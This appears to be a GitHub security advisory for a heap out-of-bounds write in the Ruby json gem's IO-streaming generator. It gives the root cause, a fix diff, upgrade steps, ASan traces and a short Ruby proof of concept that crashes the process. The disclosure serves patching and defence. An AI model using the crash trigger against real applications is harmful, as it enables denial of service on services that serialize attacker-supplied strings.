VDB
KO
LOW 3.7

GHSA-x2f5-4prf-w687

Ruby json: JSON generator heap buffer overflow when streaming to an IO

Quick fix

GHSA-x2f5-4prf-w687 — json: upgrade to the fixed version with the command below.

bundle update json

Details

### Summary

`JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service.

This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.

### Details

Root cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`.

On the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the early return checks total capacity instead of remaining capacity:

```c if (RB_UNLIKELY(fb->io)) { if (fb->capa < FBUFFER_IO_BUFFER_SIZE) { fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE); } else { fbuffer_flush(fb); }

if (RB_LIKELY(requested < fb->capa)) { return; } } ```

If `fb->len` already contains JSON syntax bytes, and a string flush has `16383 - fb->len <= requested < 16383`, this check returns even though there is not enough space left. `fbuffer_append_reserved()` then writes past the buffer:

```c MEMCPY(fb->ptr + fb->len, newstr, char, len); ```

The minimal fix is to compare against the remaining capacity:

```diff - if (RB_LIKELY(requested < fb->capa)) { + if (RB_LIKELY(requested <= fb->capa - fb->len)) { return; } ```

### PoC

```ruby require "json" require "stringio"

io = StringIO.new big = "a" * 16385 big[16382] = '"' # escapable byte near the buffer boundary

JSON.dump([big], io) ```

Verified results:

```text Ruby 4.0.5 / bundled json 2.18.0: malloc(): invalid size (unsorted) .../json/common.rb:956: [BUG] Aborted

ruby/ruby master c78418b7a0 / json 2.19.8 / ASan: heap-buffer-overflow WRITE of size 16382 fbuffer_append_reserved ext/json/fbuffer/fbuffer.h:145 search_flush ext/json/generator/generator.c:139 convert_UTF8_to_JSON ext/json/generator/generator.c:231 raw_generate_json_string ext/json/generator/generator.c:922 cState_m_generate ext/json/generator/generator.c:1891 ```

Control: the same data through `JSON.dump([big])` without an IO argument returns normally. The bug is specific to the IO-streaming path.

### Impact

A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through `JSON.dump(obj, io)` or `JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.

Are you affected?

Enter the version of the package you're using.

Affected packages

RubyGems / json
Introduced in: 2.9.0 Fixed in: 2.19.9
Fix bundle update json

References